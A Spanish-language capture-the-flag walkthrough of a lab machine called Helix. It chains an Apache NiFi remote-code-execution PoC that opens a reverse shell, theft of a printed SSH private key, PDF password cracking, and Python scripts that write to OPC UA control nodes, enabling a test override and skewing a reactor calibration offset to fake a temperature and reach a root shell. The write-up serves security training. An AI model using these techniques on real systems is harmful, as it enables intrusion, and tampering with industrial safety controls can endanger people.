Helix

Enumeration
Escaneamos todos los puertos para ver cuáles están abiertos y qué servicios corren en ellos.
sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports 10.129.99.140
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Escaneamos los puertos abiertos para conocer más detalles de los servicios que corren en ellos.
nmap -p 22,80 -sCV -oA nmap/openports 10.129.99.140
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
|_ 256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Agregamos el dominio helix.htb al archivo /etc/hosts.
echo '10.129.99.140 helix.htb' | sudo tee -a /etc/hosts
Enumeramos subdominios.
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://helix.htb/ -H 'Host: FUZZ.helix.htb' -ic -c -t 100 -fs 154
flow [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 243ms]
Agregamos el subdominio flow.helix.htb al archivo /etc/hosts.
Visitamos el subdominio y nos encontramos con la versión nifi-1.21.0-RC2.

Esta versión es vulnerable a una ejecución de código (https://nvd.nist.gov/vuln/detail/cve-2023-34468).
Exploitation
El siguiente POC permite automatizar el proceso CVE-2023-34468 — Apache NiFi 1.21.0 RCE PoC.
Nos ponemos en escucha en la máquina atacante.
nc -lnvp 1111
sudo python3 exploit.py --target http://flow.helix.htb --lhost 10.10.15.177 --lport 1111
Estabilizamos la reverse shell.
Lateral Movement
Listamos el directorio actual y encontramos dentro del directorio support-bundles una clave ssh del usuario operator.
ls -la
total 380
drwxrwxr-x 16 nifi nifi 4096 May 5 10:18 .
drwxr-xr-x 4 root root 4096 Jan 25 2026 ..
drwxrwxr-x 2 nifi nifi 4096 May 5 10:18 bin
drwxrwxr-x 3 nifi nifi 4096 Aug 11 00:03 conf
drwxrwxr-x 1026 nifi nifi 20480 May 5 10:18 content_repository
drwxrwxr-x 2 nifi nifi 4096 May 5 10:18 database_repository
drwxrwxr-x 3 nifi nifi 4096 May 5 10:18 docs
drwxrwxr-x 2 nifi nifi 4096 May 5 10:18 extensions
drwxrwxr-x 4 nifi nifi 4096 Aug 11 00:01 flowfile_repository
drwxrwx--- 6 nifi nifi 12288 May 5 10:18 lib
-rw-r--r-- 1 nifi nifi 175405 Apr 3 2023 LICENSE
drwxrwxr-x 2 nifi nifi 4096 Aug 11 00:03 logs
lrwxrwxrwx 1 nifi nifi 16 Jan 24 2026 nifi-1.21.0 -> /opt/nifi-1.21.0
-rw-r--r-- 1 nifi nifi 110857 Apr 3 2023 NOTICE
drwxrwxr-x 3 nifi nifi 4096 May 5 10:18 provenance_repository
-rw-r--r-- 1 nifi nifi 4935 Apr 3 2023 README
drwxrwxr-x 2 nifi nifi 4096 Aug 11 00:00 run
drwxrwxr-x 3 nifi nifi 4096 May 5 10:18 state
drwxr-x--- 2 nifi nifi 4096 May 5 10:18 support-bundles
drwxrwxr-x 5 nifi nifi 4096 Aug 11 00:01 work
cd support-bundles/
ls -la
total 12
drwxr-x--- 2 nifi nifi 4096 May 5 10:18 .
drwxrwxr-x 16 nifi nifi 4096 May 5 10:18 ..
-rw-r----- 1 nifi nifi 411 Jan 25 2026 operator_id_ed25519.bak
cat operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
Copiamos la clave en nuestra máquina atacante y nos conectamos por ssh.
ssh -i operator_ed25519 operator@helix.htb
Listamos el directorio del usuario operator.
ls -la
total 968
drwxr-x--- 5 operator operator 4096 May 5 10:18 .
drwxr-xr-x 3 root root 4096 May 5 10:18 ..
lrwxrwxrwx 1 root root 9 Apr 20 10:14 .bash_history -> /dev/null
-rw-r--r-- 1 operator operator 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 operator operator 3771 Jan 6 2022 .bashrc
drwx------ 3 operator operator 4096 May 5 10:18 .cache
-rw------- 1 operator operator 920611 Jan 26 2026 'control systems diagram.png'
drwxrwxr-x 5 operator operator 4096 May 5 10:18 .local
lrwxrwxrwx 1 root root 9 Jan 26 2026 .mysql_history -> /dev/null
-rw-rw-r-- 1 operator operator 28453 Apr 16 08:50 'Operator Control & Safety Guide.pdf'
-rw-r--r-- 1 operator operator 807 Jan 6 2022 .profile
drwx------ 2 operator operator 4096 May 5 10:18 .ssh
-rw-r----- 1 root operator 33 Aug 11 00:01 user.txt
lrwxrwxrwx 1 root root 9 Jan 26 2026 .viminfo -> /dev/null
Leemos la flag del user.
User flag
c******************************6
Privilege Escalation
Levantamos un servidor en la máquina víctima para descargar desde la atacante los archivo control systems diagram.png y Operator Control & Safety Guide.pdf.
python3 -m http.server
wget 'http://10.129.245.123:8000/control systems diagram.png'
wget 'http://10.129.245.123:8000/Operator Control & Safety Guide.pdf'
control systems diagram.png

Para abrir el archivo PDF necesitamos crackear la contraseña.
pdf2john Operator\ Control\ \&\ Safety\ Guide.pdf > pdf.hash
john -w=/usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt pdf.hash
john pdf.hash --show
Operator Control & Safety Guide.pdf:operator1
El usuario operator puede ejecutar el siguiente comando.
sudo -l
Matching Defaults entries for operator on helix:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User operator may run the following commands on helix:
(root) NOPASSWD: /usr/local/sbin/helix-maint-console
Leemos el contenido del binario.
cat /usr/local/sbin/helix-maint-console
#!/bin/bash
set -euo pipefail
FLAG="/opt/helix/state/maintenance_window"
read_until() { cat "$FLAG" 2>/dev/null || true; }
window_ok() {
[ -f "$FLAG" ] || return 1
local until_ts now
until_ts="$(read_until)"
now="$(date +%s)"
[[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
[ "$now" -lt "$until_ts" ] || return 1
return 0
}
if ! window_ok; then
echo "Maintenance window CLOSED."
exit 1
fi
until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))
echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"
# Unique scope name
SCOPE="helix-maint-$$"
# Launch an interactive root shell attached to THIS TTY, in its own systemd scope
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \
/bin/bash -p -i
# If systemd-run returns, the shell exited.
exit 0
El script valida si hay una ventana de mantenimiento activa antes de iniciar una sesión interactiva con privilegios.
Listamos los puertos TCP que están escuchando conexiones.
ss -tpnl
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 50 127.0.0.1:8080 0.0.0.0:* users:(("java",pid=1088,fd=41))
LISTEN 0 128 127.0.0.1:8081 0.0.0.0:*
LISTEN 0 100 127.0.0.1:4840 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 50 127.0.0.1:39469 0.0.0.0:* users:(("java",pid=1088,fd=79))
LISTEN 0 50 [::ffff:127.0.0.1]:44379 *:* users:(("java",pid=1053,fd=57))
LISTEN 0 128 [::]:22 [::]:*
Hacemos port forwarding del puerto 4840.
ssh -i operator_ed25519 -L 4840:127.0.0.1:4840 operator@helix.htb
opc_enum.py
import sys
from opcua import Client
SERVER_URL = "opc.tcp://127.0.0.1:4840"
OUTPUT_FILE = "opc_recon.txt"
client = Client(SERVER_URL)
try:
print(f"[*] Connecting to {SERVER_URL}...")
client.connect()
print("[+] Connected successfully!")
except Exception as e:
print(f"[-] Connection failed: {e}")
sys.exit(1)
log = open(OUTPUT_FILE, "w", encoding="utf-8")
def enum_nodes(node, level=0, max_depth=4):
try:
browse_name = node.get_browse_name().Name
nodeid = node.nodeid
node_class = node.get_node_class()
system_noise = [
"Server", "Aliases", "Dictionaries", "Quantities",
"DefaultHAConfiguration", "DefaultHEConfiguration",
"PublishSubscribe", "ServerConfiguration"
]
if browse_name in system_noise:
return
value_data = ""
if str(node_class) == "NodeClass.Variable":
try:
val = node.get_value()
value_data = f" ===> [Value: {val}]"
except Exception:
value_data = " ===> [Access Denied / Unreadable]"
output_line = " " * level + f"[{node_class.name}] {browse_name} ({nodeid}){value_data}"
print(output_line)
log.write(output_line + "\n")
if level >= max_depth:
return
children = node.get_children()
for child in children:
enum_nodes(child, level + 1, max_depth)
except Exception:
pass
print(f"[*] Enumerating Address Space... Saving to {OUTPUT_FILE}")
print("-" * 60)
root = client.get_root_node()
enum_nodes(root)
print("-" * 60)
print("[+] Enumeration finished.")
log.close()
client.disconnect()
print("[*] Disconnected from server.")
python3 opc_enum.py
[*] Connecting to opc.tcp://127.0.0.1:4840...
[+] Connected successfully!
[*] Enumerating Address Space... Saving to opc_recon.txt
------------------------------------------------------------
[Object] Root (TwoByteNodeId(i=84))
[Object] Objects (NumericNodeId(i=85))
[Object] Locations (NumericNodeId(i=31915))
[Object] Plant (FourByteNodeId(ns=2;i=1))
[Object] Reactor (FourByteNodeId(ns=2;i=2))
[Variable] TemperatureRaw (FourByteNodeId(ns=2;i=3))
[Variable] Temperature (FourByteNodeId(ns=2;i=4))
[Variable] Pressure (FourByteNodeId(ns=2;i=5))
[Variable] CalibrationOffset (FourByteNodeId(ns=2;i=6))
[Object] Safety (FourByteNodeId(ns=2;i=7))
[Variable] RodsInserted (FourByteNodeId(ns=2;i=8))
[Variable] EmergencyCooling (FourByteNodeId(ns=2;i=9))
[Variable] TripActive (FourByteNodeId(ns=2;i=10))
[Object] Control (FourByteNodeId(ns=2;i=11))
[Variable] Mode (FourByteNodeId(ns=2;i=12))
[Variable] TestOverride (FourByteNodeId(ns=2;i=13))
[Variable] ResetTrip (FourByteNodeId(ns=2;i=14))
[Object] Types (NumericNodeId(i=86))
[Object] ObjectTypes (NumericNodeId(i=88))
[ObjectType] BaseObjectType (NumericNodeId(i=58))
[Object] VariableTypes (NumericNodeId(i=89))
[VariableType] BaseVariableType (NumericNodeId(i=62))
[VariableType] BaseDataVariableType (NumericNodeId(i=63))
[VariableType] PropertyType (NumericNodeId(i=68))
[Object] DataTypes (NumericNodeId(i=90))
[Object] XML Schema (NumericNodeId(i=92))
[Variable] Opc.Ua (NumericNodeId(i=8252))
[Object] OPC Binary (NumericNodeId(i=93))
[Variable] Opc.Ua (NumericNodeId(i=7617))
[DataType] BaseDataType (NumericNodeId(i=24))
[DataType] Number (NumericNodeId(i=26))
[DataType] Enumeration (NumericNodeId(i=29))
[DataType] Boolean (NumericNodeId(i=1))
[DataType] String (NumericNodeId(i=12))
[DataType] DateTime (NumericNodeId(i=13))
[DataType] Guid (NumericNodeId(i=14))
[DataType] ByteString (NumericNodeId(i=15))
[DataType] XmlElement (NumericNodeId(i=16))
[DataType] NodeId (NumericNodeId(i=17))
[DataType] ExpandedNodeId (NumericNodeId(i=18))
[DataType] StatusCode (NumericNodeId(i=19))
[DataType] QualifiedName (NumericNodeId(i=20))
[DataType] LocalizedText (NumericNodeId(i=21))
[DataType] Structure (NumericNodeId(i=22))
[DataType] DataValue (NumericNodeId(i=23))
[DataType] DiagnosticInfo (NumericNodeId(i=25))
[DataType] RsaEncryptedSecret (NumericNodeId(i=17545))
[DataType] EccEncryptedSecret (NumericNodeId(i=17546))
[Object] ReferenceTypes (NumericNodeId(i=91))
[ReferenceType] References (NumericNodeId(i=31))
[ReferenceType] NonHierarchicalReferences (NumericNodeId(i=32))
[ReferenceType] HierarchicalReferences (NumericNodeId(i=33))
[Object] EventTypes (NumericNodeId(i=3048))
[ObjectType] BaseEventType (NumericNodeId(i=2041))
[Variable] EventId (NumericNodeId(i=2042))
[Variable] EventType (NumericNodeId(i=2043))
[Variable] SourceNode (NumericNodeId(i=2044))
[Variable] SourceName (NumericNodeId(i=2045))
[Variable] Time (NumericNodeId(i=2046))
[Variable] ReceiveTime (NumericNodeId(i=2047))
[Variable] LocalTime (NumericNodeId(i=3190))
[Variable] Message (NumericNodeId(i=2050))
[Variable] Severity (NumericNodeId(i=2051))
[Variable] ConditionClassId (NumericNodeId(i=31771))
[Variable] ConditionClassName (NumericNodeId(i=31772))
[Variable] ConditionSubClassId (NumericNodeId(i=31773))
[Variable] ConditionSubClassName (NumericNodeId(i=31774))
[ObjectType] AuditEventType (NumericNodeId(i=2052))
[ObjectType] SystemEventType (NumericNodeId(i=2130))
[ObjectType] BaseModelChangeEventType (NumericNodeId(i=2132))
[ObjectType] SemanticChangeEventType (NumericNodeId(i=2738))
[ObjectType] EventQueueOverflowEventType (NumericNodeId(i=3035))
[ObjectType] ProgressEventType (NumericNodeId(i=11436))
[ObjectType] TransitionEventType (NumericNodeId(i=2311))
[ObjectType] ConditionType (NumericNodeId(i=2782))
[Object] InterfaceTypes (NumericNodeId(i=17708))
[ObjectType] BaseInterfaceType (NumericNodeId(i=17602))
[ObjectType] IOrderedObjectType (NumericNodeId(i=23513))
[ObjectType] IIetfBaseNetworkInterfaceType (NumericNodeId(i=24148))
[ObjectType] IIeeeBaseEthernetPortType (NumericNodeId(i=24158))
[ObjectType] IIeeeAutoNegotiationStatusType (NumericNodeId(i=24233))
[ObjectType] IBaseEthernetCapabilitiesType (NumericNodeId(i=24167))
[ObjectType] IVlanIdType (NumericNodeId(i=25218))
[ObjectType] ISrClassType (NumericNodeId(i=24169))
[ObjectType] IIeeeBaseTsnStreamType (NumericNodeId(i=24173))
[ObjectType] IIeeeBaseTsnTrafficSpecificationType (NumericNodeId(i=24179))
[ObjectType] IIeeeBaseTsnStatusStreamType (NumericNodeId(i=24183))
[ObjectType] IIeeeTsnInterfaceConfigurationType (NumericNodeId(i=24188))
[ObjectType] IIeeeTsnMacAddressType (NumericNodeId(i=24199))
[ObjectType] IIeeeTsnVlanTagType (NumericNodeId(i=24202))
[ObjectType] IPriorityMappingEntryType (NumericNodeId(i=24205))
[Object] Views (NumericNodeId(i=87))
------------------------------------------------------------
[+] Enumeration finished.
[*] Disconnected from server.
from opcua import Client
import time
client = Client("opc.tcp://127.0.0.1:4840")
try:
client.connect()
# Nodes
mode_node = client.get_node("ns=2;i=12")
override_node = client.get_node("ns=2;i=13")
calibration_node = client.get_node("ns=2;i=6")
temp_node = client.get_node("ns=2;i=4")
#1. Set maintenance mode
mode_node.set_value("MAINTENANCE")
print("Mode set to:", mode_node.get_value())
# 2. Enable override
override_node.set_value(True)
print("TestOverride set to:", override_node.get_value())
# 3. Increase calibration offset gradually
calibrations = [0.0, 2.5, 5.0, 7.5, 10.0, 12.5, 15.0, 17.5, 20.0]
for value in calibrations:
calibration_node.set_value(value)
print(f"CalibrationOffset set to: {value}")
temperature = temp_node.get_value()
print(f"Current Temperature: {temperature}")
# Check maintenance window condition
if temperature >= 295:
print("[+] Maintenance window reached")
break
# Wait between steps
time.sleep(1)
finally:
client.disconnect()
python3 opc_exploit.py
[*] Connecting to opc.tcp://127.0.0.1:4840...
[+] Connected successfully!
[*] Setting Mode to MAINTENANCE...
[+] Current Mode: MAINTENANCE
[*] Enabling Test Override...
[+] TestOverride status: True
[*] Starting gradual calibration offset adjustments...
-> CalibrationOffset updated to: 0.0
Current Temperature: 284.0299918974837°C
-> CalibrationOffset updated to: 2.5
Current Temperature: 284.05849230260947°C
-> CalibrationOffset updated to: 5.0
Current Temperature: 286.61128930310497°C
-> CalibrationOffset updated to: 7.5
Current Temperature: 289.1357248379497°C
-> CalibrationOffset updated to: 10.0
Current Temperature: 294.18099166624955°C
-> CalibrationOffset updated to: 12.5
Current Temperature: 294.201942082937°C
-> CalibrationOffset updated to: 15.0
Current Temperature: 299.20598111054557°C
[+] Target condition reached! Triggering final stage.
[*] Disconnected from server.
sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 102 seconds
[!] Session will be terminated automatically
cd
ls
root.txt snap
cat root.txt
Root flag
0******************************7